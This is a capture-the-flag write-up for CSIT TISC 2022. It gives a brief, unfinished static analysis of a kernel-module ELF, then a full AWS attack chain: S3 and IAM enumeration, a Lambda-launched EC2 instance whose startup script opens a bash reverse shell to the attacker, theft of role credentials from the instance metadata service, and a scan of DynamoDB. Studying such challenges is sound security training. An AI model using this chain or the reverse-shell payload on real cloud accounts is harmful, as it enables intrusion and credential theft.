Skip to content

CSIT TISC 2022 (2)

Level 4a : One Knock Away [attempted but did not complete]

One of our clients' server was recently compromised by PALINDROME. We recovered one suspicious artifact from the server. Can you figure out what it is? (The file can only be loaded in a specific VM!)

Basic Static Analysis

  • For the basic static analysis above, Detect-It-Easy, linux file and readelf command was used.

File Classification

  • We can gather a few information, this is a :
    • 64-bit ELF file for Ubuntu 20.04.1,
    • likely not packed
    • the REL flag set (relocatable file) more on the differences can be found here.

Pasted image 20220830205757.png Pasted image 20220902102225.png

Looking into .dynsym

  • Following this blog we focused our search on the following 3 symbol types.
readelf -s | grep -i 'func'
readelf -s | grep -i 'object'
readelf -s | grep -i 'file'

Pasted image 20220902111209.png Pasted image 20220902111223.png

Strings

Pasted image 20220902113426.png Pasted image 20220902113140.png Pasted image 20220902113221.png Pasted image 20220902113348.png

Reverse Engineering

  • The author CY1603 has been nice by putting a dont_need_to_reverse_this and hence we will do what the author has told us to. We will also not be reversing dffqa and print_flag as they seem to just be worker functions for dont_need_to_reverse_this.

Pasted image 20220902114126.png Pasted image 20220902114210.png

init_module && cleanup_module

Pasted image 20220902114324.pngPasted image 20220902114338.png

hook_func

[too long to display]

ppyq

Pasted image 20220902114645.png

Level 4b : CloudyNekos

We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. They have their own custom built access system e-service portal that generate short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was diguised as a blog site.

We need your help to access their computing resources and exfiltrate any meaningful intelligence for us.

Start here: http://d20whnyjsgpc34.cloudfront.net

Recon

Mapping Visible Content

Pasted image 20220830205853.png Pasted image 20220831115350.png Pasted image 20220831121057.png

Content Exploration

  • Based on the comment found above, we can guess the address of the S3 bucket to be : palindromecloudynekos.s3.amazonaws.com

Pasted image 20220831123947.png

Looking for Hidden Content

Feroxbuster
feroxbuster -u https://d20whnyjsgpc34.cloudfront.net/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -o big_ferox -x html
  • Nothing interesting was found, just the error page and /soap is likely the API endpoint to call the S3 bucket.

Pasted image 20220831120453.png

S3 Bucket Enumeration

  • Following this guide we will need to install aws-cli on our Kali machine first then create an AWS account and generate a secret key before proceeding with below.
  • Next we list the content of the bucket using the following command:
aws s3 ls s3://palindromecloudynekos

Pasted image 20220831142716.png

  • Then we want to see what objects are in the folders
aws s3api list-objects --bucket palindromecloudynekos
{
    "Contents": [
        {
            "Key": "api/notes.txt",
            "LastModified": "2022-08-23T13:16:20.000Z",
            "ETag": "\"b65f26503b0dd488334582aa21f7bda4\"",
            "Size": 432,
            "StorageClass": "STANDARD"
        },
        {
            "Key": "error.html",
            "LastModified": "2022-08-23T13:16:20.000Z",
            "ETag": "\"9771d7ba5b393dcef59ddb260cecc6bc\"",
            "Size": 34,
            "StorageClass": "STANDARD"
        },
        {
            "Key": "img/photo1.jpg",
            "LastModified": "2022-07-22T10:02:45.000Z",
            "ETag": "\"9e620e851f5fae15e5637cc914548406\"",
            "Size": 404845,
            "StorageClass": "STANDARD"
        },
        ...
        {
            "Key": "index.html",
            "LastModified": "2022-08-23T13:16:20.000Z",
            "ETag": "\"b299661e57fff70507663e91f2958410\"",
            "Size": 2257,
            "StorageClass": "STANDARD"
        }
    ]
}
  • /api/notes.txt looks particularly interesting, so we will attempt to download it with the aws-cli. The content of notes.txt is shown below.
aws s3api get-object --bucket palindromecloudynekos --key api/notes.txt notes.txt

Pasted image 20220831143504.png

Understanding notes.txt

  • To understand notes.txt, we must first know what the link https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent is about.
  • We noticed a 'execute-api' and began to searched the AWS documentation. From, the documentation we know that the above link is a REST API Invocation of Amazon API Gateway.
  • This corresponds to the content in notes.txt about invoking the API. We then invoked the API as per instruction and we get the follwing request.

Pasted image 20220831150931.png

Scout Suite Enumeration

scout aws --access-key-id <access key> --secret-access-key <secret key>

Pasted image 20220831160527.png

  • We noticed an interesting VPC with the name palindrome.

Pasted image 20220831160751.png Pasted image 20220831160829.png

  • The command below is based on this stackoverflow thread, confirms that the palindrome VPC has an internet gateway.
aws ec2 describe-route-tables  --query "RouteTables[].Routes[]" --filter Name=association.subnet-id,Values=subnet-0aa6ecdf900166741

Pasted image 20220831193916.png

Permission Enumeration

enumerate-iam
python enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --region ap-southeast-1

Pasted image 20220901234011.png Pasted image 20220901233002.png Pasted image 20220901232845.png

Pacu iam__bruteforce_permissions
  • We used the tool pacu by RhinoSecurityLabs to do an additional bruteforce on IAM permissions.
run iam__bruteforce_permissions

Pasted image 20220901105417.png

Pacu iam__enum_permissions
run iam__enum_permissions
whoami

Pasted image 20220902124800.png

  • These are the additional permissions that were enumerated.

Pasted image 20220902151322.png

Roles Permission Enumeration
  • Based on the result of Pacu's iam__enum_permissions , we can see that current user has iam:PassRole to lambda_agent_development_role Hence we will need to find out more about the role and it's permission.
# to get policy-arn
aws iam list-attached-role-policies --role-name lambda_agent_development_role --profile temp

aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role --version-id v2 --profile temp

Pasted image 20220902202543.png Pasted image 20220902152807.png

  • Then we see that there is another PassRole to
aws iam list-attached-role-policies --role-name ec2_agent_role --profile temp

aws iam get-policy-version --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agentrole --version-id v2 --profile temp

Pasted image 20220902202427.png Pasted image 20220902202509.png

Consolidated Permissions Enumerated
  • The results from both were largely similar but as the list used in enumeration is different, there are some differences.
  • Below is the consolidated permissions of all the related roles.
###### Compromised User
#ec2
describe-instance-types
describe-regions
describe-route-tables
describe-security-groups
describe-subnets
describe-vpcs
get-associated-enclave-certificate-iam-roles
get-console-screenshot
get-host-reservation-purchase-preview

#s3
get-object-torrent
head-bucket
ls s3://<bucket_name>

#sts
get-caller-identity
get-session-token

#iam
list-roles
list-instance-profiles
get-policy
get-policy-version
list-attached-role-policies
list-attached-user-policies
pass-role

#dynamodb
describe-endpoints

#s3api
list-objects
get-object

#lambda
invoke-function
create-function
get-function
###### lambda_agent_development_role
#ec2
run-instances
create-volume
create-tags

#iam
PassRole

#lambda
get-function
###### ec2_agent_role
#dynamodb
describe-table
list-tables
scan
query

Formulating Attack Chain

  • From our enumeration above and reference to hackingthe.cloud, it seems like our compromised user can create an EC2 Instance by making use of the lambda function with which we can get the AWS Access and Secret Key of the role ec2_agent_role from 169.254.169.254/metadata/latest and then get to Dynamo DB with the credentials.

Lambda Script to Create EC2 Instance

  • The python script below is used to create an EC2 instance with lambda.
  • In this script below, we added an init_scipt to tell the

IamInstanceProfile is very Important here as it is required to get access to the IAM role. Without it, the instance will still be created, but it will not be attached to a role and we will not have this page /latest/meta-data/iam/.

"Open Source" AMI Image Id like Amazon Linux and Ubuntu AMIs are uniformed across all users and we can get it by : 1. Registering an AWS account and look for it at the create EC2 form. 2. Referencing AWS AMI page or Ubuntu Cloud Images page.

import boto3

REGION = 'ap-southeast-1' 
AMI = 'ami-08569b978cc4dfa10'
INSTANCE_TYPE = 't2.micro'
SUBNET_ID = 'subnet-0aa6ecdf900166741'

EC2 = boto3.client('ec2', region_name=REGION)

def lambda_handler(event, context):
    init_script = """#!/bin/bash
                   bash -i >& /dev/tcp/<ip address>/8080 0>&1                
    """

    instance = EC2.run_instances(
        ImageId=AMI,
        InstanceType=INSTANCE_TYPE,
        SubnetId=SUBNET_ID,
        MinCount=1, 
        MaxCount=1,
        TagSpecifications=[{'ResourceType': 'instance','Tags': [{"Key": "agent", "Value": "user-9d084cfc30dc44a8b84e9cfe79007c72"}]}],
        UserData=init_script
        IamInstanceProfile={'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'},
    )

    print("New instance created.")
    instance_id = instance['Instances'][0]['InstanceId']
    print(instance_id)

    return instance_id

Creating and Invoking Lambda

  • Based on the permissions above, the compromsed user only has permissions to create and invoke lambda resources with the following name arn:aws:lambda:ap-southeast-1:<account id>:function:$(aws:username)-* hence we will need to create a function with function name <username>-<own function name>
aws lambda create-function --function-name <username>-SI --role arn:aws:iam::<account-id>:role/lambda_agent_development_role --runtime python3.9 --handler <name of file>.<handler> --profile temp --zip-file fileb://SI.py.zip

Pasted image 20220902235022.png

  • After creating the lambda functin above, we can now invoke the lambda function with the following command :
aws lambda invoke --function-name <username>-SI outfile --profile temp

Pasted image 20220902235041.png

Getting Reverse Shell

  • We have our own EC2 instance already set up to wait for the incoming reverse shell triggered by the init_scipt.

Pasted image 20220902235058.png

Post Exploitation

  • Then from our Reverse Shell, we can curl the URL below :
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_agent_role
  • This gives us the temporary credentials to ec2_agent_role.

Pasted image 20220903022328.png

  • We verify that the credentials are for ec2_agent_role with :
aws sts get-caller-identity

Pasted image 20220903022720.png

  • The now we start with querying the Dynamodb.
aws dynamodb list-tables --profile ec2agent

aws dynamodb describe-table --table-name flag_db --profile ec2agent

aws dynamodb scan --table-name flag_db --profile ec2agent

Pasted image 20220903022738.png Pasted image 20220903022917.png Pasted image 20220903023155.png